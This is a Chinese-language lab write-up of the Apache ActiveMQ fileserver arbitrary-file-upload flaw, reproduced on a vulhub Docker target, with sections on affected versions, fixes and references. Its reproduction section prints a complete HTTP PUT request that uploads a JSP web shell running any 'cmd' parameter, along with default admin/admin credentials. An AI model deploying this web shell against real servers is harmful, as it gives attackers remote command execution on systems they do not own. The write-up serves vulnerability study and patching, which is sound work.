漏洞原理
该漏洞出现在fileserver应用中,ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问
环境搭建
使用vulhub一键搭建,靶机kali:192.168.1771.37
docker-compose up -d
环境搭建成功,浏览器访问:http://IP:8161
漏洞复现
登录admin账号:默认账号admin/admin,抓包进行修改,使用PUT方法上传文件。ActiveMQ Web控制台分为三个应用程序:其中admin,api和fileserver,其中admin是管理员页面,api是界面,fileserver是用于存储文件的界面;admin和api需要先登录才能使用,fileserver不需要登录。
上传jsp文件(系统不稳定,有时成功有时失败),
PUT /fileserver/2.jsp HTTP/1.1 Host: 192.168.177.137:8161 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: JSESSIONID=18wws8yzr1a04iz9gfpkkar3p Authorization: Basic YWRtaW46YWRtaW4= X-Forwarded-For: 8.8.8.8 Connection: close Content-Length: 329 <%@ page import="java.io.*"%> <% out.print("Hello</br>"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"</br>"); } %>
使用MOVE方法移动文件,成功的包没截上,再次上传是500回显,文件已经上传成功,访问地址,成功解析jsp
漏洞影响
漏洞影响版本:Apache ActiveMQ 5.x ~ 5.14.0
漏洞修复
1、ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本。
2、通过移除 confjetty.xml
的以下配置来禁用 ActiveMQ Fileserver 功能
参考文献
https://paper.seebug.org/346/
https://blog.csdn.net/yukinorong/article/details/106942279
https://www.jb51.net/article/167145.htm